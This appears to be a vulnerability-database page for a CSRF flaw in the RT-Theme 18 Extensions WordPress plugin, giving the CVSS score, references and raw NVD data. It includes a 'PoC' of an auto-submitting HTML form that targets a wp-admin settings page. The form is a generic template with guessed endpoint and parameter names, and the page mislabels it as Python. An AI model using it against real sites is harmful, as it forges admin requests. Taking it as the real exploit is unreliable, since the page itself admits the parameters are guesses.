CVE-2026-39710

Description

Cross-Site Request Forgery (CSRF) vulnerability in stmcan RT-Theme 18 | Extensions rt18-extensions allows Cross Site Request Forgery.This issue affects RT-Theme 18 | Extensions: from n/a through <= 2.5.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

RT-Theme 18 | Extensions <= 2.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-39710 -->
<!-- Save this as exploit.html and host it. 
     The victim admin must be logged into the WordPress site. -->
<html>
  <body>
    <script>
      // The vulnerable endpoint might be an options update or similar action
      // Adjust the 'action' and parameters based on the specific plugin functionality
      function exploit() {
        var targetUrl = "http://vulnerable-site.com/wp-admin/admin.php?page=rt18-settings";
        
        // Create a form to submit the malicious request
        var form = document.createElement('form');
        form.method = 'POST';
        form.action = targetUrl;
        
        // Example parameters to change settings (actual params depend on plugin code)
        var input = document.createElement('input');
        input.type = 'hidden';
        input.name = 'rt18_options[malicious_setting]';
        input.value = 'exploited_value';
        form.appendChild(input);
        
        document.body.appendChild(form);
        form.submit();
      }
      
      // Auto-trigger the attack
      window.onload = exploit;
    </script>
    <p>If you are an admin, a request has been sent to the server.</p>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39710
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39710
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39710/
[4] VulDB https://vuldb.com/cve/CVE-2026-39710
[5] https://patchstack.com/database/Wordpress/Plugin/rt18-extensions/vulnerability/wordpress-rt-theme-18-extensions-plugin-2-5-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39710", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:43.877", "lastModified": "2026-04-24T18:05:09.240", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in stmcan RT-Theme 18 | Extensions rt18-extensions allows Cross Site Request Forgery.This issue affects RT-Theme 18 | Extensions: from n/a through <= 2.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/rt18-extensions/vulnerability/wordpress-rt-theme-18-extensions-plugin-2-5-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}